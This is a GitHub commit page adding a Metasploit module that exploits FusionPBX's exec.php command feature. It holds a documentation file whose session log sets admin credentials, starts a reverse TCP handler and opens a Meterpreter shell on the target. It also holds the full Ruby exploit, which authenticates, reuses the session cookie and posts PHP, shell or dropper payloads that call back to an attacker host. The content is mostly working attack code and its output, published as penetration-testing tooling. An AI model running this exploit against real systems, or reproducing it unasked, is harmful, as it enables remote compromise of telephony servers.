Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12532, Add FusionPBX Command exec.php Command Execution
Add FusionPBX Command exec.php Command Execution
- Loading branch information
1 parent
5091913
commit dca4ef7
Showing
2 changed files
with
266 additions
and
0 deletions.
There are no files selected for viewing
83 changes: 83 additions & 0 deletions
83
documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
## Description | ||
|
||
This module uses administrative functionality available in FusionPBX | ||
to gain a shell. | ||
|
||
The Command section of the application permits users with `exec_view` | ||
permissions, or superadmin permissions, to execute arbitrary system | ||
commands, or arbitrary PHP code, as the web server user. | ||
|
||
|
||
## Vulnerable Software | ||
|
||
This module has been tested successfully on FusionPBX version | ||
4.4.1 on Ubuntu 19.04 (x64). | ||
|
||
Software: | ||
|
||
* https://www.fusionpbx.com/download | ||
* https://github.com/fusionpbx/fusionpbx/releases | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Do: `use exploit/unix/webapp/fusionpbx_exec_cmd_exec` | ||
3. Do: `set rhosts <IP>` | ||
4. Do: `set username <username>` (default: `admin`) | ||
5. Do: `set password <password>` | ||
6. Do: `run` | ||
7. You should get a new session | ||
|
||
|
||
## Options | ||
|
||
**TARGETURI** | ||
|
||
The base path to FusionPBX (default: `/`) | ||
|
||
**USERNAME** | ||
|
||
The username for FusionPBX (default: `admin`) | ||
|
||
**PASSWORD** | ||
|
||
The password for FusionPBX | ||
|
||
|
||
## Scenarios | ||
|
||
``` | ||
msf5 > use exploit/unix/webapp/fusionpbx_exec_cmd_exec | ||
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set rhosts 172.16.191.214 | ||
rhosts => 172.16.191.214 | ||
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set username admin | ||
username => admin | ||
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set password PXRtwZqSkvToC4gc | ||
password => PXRtwZqSkvToC4gc | ||
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set lhost 172.16.191.165 | ||
lhost => 172.16.191.165 | ||
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > show targets | ||
Exploit targets: | ||
Id Name | ||
-- ---- | ||
0 Automatic (PHP In-Memory) | ||
1 Automatic (Unix In-Memory) | ||
2 Automatic (Linux Dropper) | ||
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > run | ||
[*] Started reverse TCP handler on 172.16.191.165:4444 | ||
[+] Authenticated as user 'admin' | ||
[*] Sending payload (1115 bytes) ... | ||
[*] Sending stage (38288 bytes) to 172.16.191.214 | ||
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.214:60772) at 2019-11-01 19:25:43 -0400 | ||
meterpreter > getuid | ||
Server username: www-data (33) | ||
meterpreter > | ||
``` | ||
|
183 changes: 183 additions & 0 deletions
183
modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,183 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'FusionPBX Command exec.php Command Execution', | ||
'Description' => %q{ | ||
This module uses administrative functionality available in FusionPBX | ||
to gain a shell. | ||
The Command section of the application permits users with `exec_view` | ||
permissions, or superadmin permissions, to execute arbitrary system | ||
commands, or arbitrary PHP code, as the web server user. | ||
This module has been tested successfully on FusionPBX version | ||
4.4.1 on Ubuntu 19.04 (x64). | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['bcoles'], | ||
'References' => | ||
[ | ||
['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html'] | ||
], | ||
'Platform' => %w[php linux unix], | ||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], | ||
'Targets' => | ||
[ | ||
['Automatic (PHP In-Memory)', | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}, | ||
'Type' => :php_memory | ||
], | ||
['Automatic (Unix In-Memory)', | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, | ||
'Type' => :unix_memory | ||
], | ||
['Automatic (Linux Dropper)', | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, | ||
'Type' => :linux_dropper | ||
] | ||
], | ||
'Privileged' => false, | ||
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, | ||
'DisclosureDate' => '2019-11-02', | ||
'DefaultTarget' => 0)) | ||
register_options [ | ||
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), | ||
OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']), | ||
OptString.new('PASSWORD', [true, 'The password for FusionPBX']) | ||
] | ||
end | ||
|
||
def login(user, pass) | ||
vprint_status "Authenticating as user '#{user}'" | ||
|
||
vars_post = { | ||
username: user, | ||
password: pass, | ||
path: '' | ||
} | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), | ||
'vars_post' => vars_post | ||
}) | ||
|
||
unless res | ||
fail_with Failure::Unreachable, 'Connection failed' | ||
end | ||
|
||
if res.code == 302 && res.headers['location'].include?('login.php') | ||
fail_with Failure::NoAccess, "Login failed for user '#{user}'" | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" | ||
end | ||
|
||
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first | ||
|
||
unless cookie | ||
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' | ||
end | ||
|
||
print_good "Authenticated as user '#{user}'" | ||
|
||
cookie | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path) | ||
}) | ||
|
||
unless res | ||
vprint_error 'Connection failed' | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res.body.include?('FusionPBX') | ||
return CheckCode::Detected | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
vars_post = { | ||
handler: 'php', | ||
table_name: '', | ||
sql_type: '', | ||
id: '', | ||
cmd: cmd | ||
} | ||
|
||
case opts[:handler] | ||
when 'php' | ||
vars_post[:handler] = 'php' | ||
when 'shell' | ||
vars_post[:handler] = 'shell' | ||
when 'switch' | ||
vars_post[:handler] = 'switch' | ||
vars_post[:cmd] = "bg_system #{cmd}" | ||
else | ||
vars_post[:handler] = 'shell' | ||
end | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'), | ||
'cookie' => "PHPSESSID=#{@cookie}", | ||
'vars_post' => vars_post | ||
}, 5) | ||
|
||
unless res | ||
return if session_created? | ||
fail_with Failure::Unreachable, 'Connection failed' | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" | ||
end | ||
|
||
if res.body.include? 'access denied' | ||
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}" | ||
end | ||
|
||
res | ||
end | ||
|
||
def exploit | ||
unless check == CheckCode::Detected | ||
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" | ||
end | ||
|
||
@cookie = login(datastore['USERNAME'], datastore['PASSWORD']) | ||
|
||
print_status "Sending payload (#{payload.encoded.length} bytes) ..." | ||
|
||
case target['Type'] | ||
when :php_memory | ||
execute_command(payload.encoded, handler: 'php') | ||
when :unix_memory | ||
execute_command(payload.encoded, handler: 'shell') | ||
when :linux_dropper | ||
execute_cmdstager(:linemax => 1_500, handler: 'shell') | ||
end | ||
end | ||
end |